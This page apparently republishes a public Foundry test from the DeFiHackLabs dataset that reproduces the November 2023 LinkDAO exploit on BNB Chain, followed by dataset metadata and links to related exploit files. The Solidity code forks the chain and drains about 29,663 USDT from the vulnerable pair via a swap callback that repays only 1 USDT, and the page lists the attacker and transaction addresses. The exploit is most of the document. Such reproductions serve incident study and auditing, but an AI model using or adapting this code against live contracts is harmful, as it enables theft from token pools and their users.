Public reproduction file
src/test/2023-11/LinkDao_exp.sol
Public reproduction file for dataset entry LinkDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";6// @KeyInfo - Total Lost : ~$30K7// Attacker : https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c790388// Attack Contract : https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a89// Vulnerable Contract : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de10// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de#code15// @Analysis16// Twitter Guy : https://x.com/phalcon_xyz/status/172505890814474699218interface IUniswapV2Pair {19 event Transfer(address indexed from, address indexed to, uint256 value);21 function balanceOf(22 address owner23 ) external view returns (uint256);24 function transfer(address to, uint256 value) external returns (bool);26 event Swap(27 address indexed sender,28 uint256 amount0In,29 uint256 amount1In,30 uint256 amount0Out,31 uint256 amount1Out,32 address indexed to33 );35 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;36}38contract LinkDao_exp is Test {39 address immutable r = address(this);41 receive() external payable {}43 function setUp() public {44 vm.createSelectFork("bsc", 33_527_744);45 // vm.createSelectFork("https://rpc.ankr.com/bsc", bytes32(0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee));46 }48 IUniswapV2Pair constant x55d3 = IUniswapV2Pair(0x55d398326f99059fF775485246999027B3197955);49 IUniswapV2Pair constant x6524 = IUniswapV2Pair(0x6524a5Fd3FEc179Db3b3C1d21F700Da7aBE6B0de);51 function test() public {52 // vm.prank(0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038, 0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038);53 x2effb772();54 }56 function x2effb772() public {57 x55d3.balanceOf(address(x6524));58 x6524.swap(29_663_356_140_000_000_000_000, 0, r, hex"313233");59 }61 function xdc6eaaa9() public {62 x55d3.transfer(address(x6524), 1_000_000_000_000_000_000);63 }65 fallback() external payable {66 bytes4 selector = bytes4(msg.data);67 if (selector == 0xdc6eaaa9) {68 return xdc6eaaa9();69 }70 revert("no such function");71 }72}Analysis
Dataset entry
Public Foundry test for “LinkDAO” (2023-11-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038
- Attack Contract
0x721a66c7767103e7dcacf8440e8dd074edff40a8
- Vulnerable Contract
0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de
- Attack Tx
0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee
- Twitter: https://x.com/phalcon_xyz/status/1725058908144746992
- Explorer: https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038
- Explorer: https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8
- Explorer: https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de
- Explorer: https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de#code
File record
- Name
- LinkDAO
- Path
- src/test/2023-11/LinkDao_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e0f9f3956cd5757e4e66084c24a2acc22b6b562d
- Language
- Solidity
- Size
- 73 lines
- Date
- 2023-11-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/LinkDao_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e0f9f3956cd5757e4e66084c24a2acc22b6b562d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.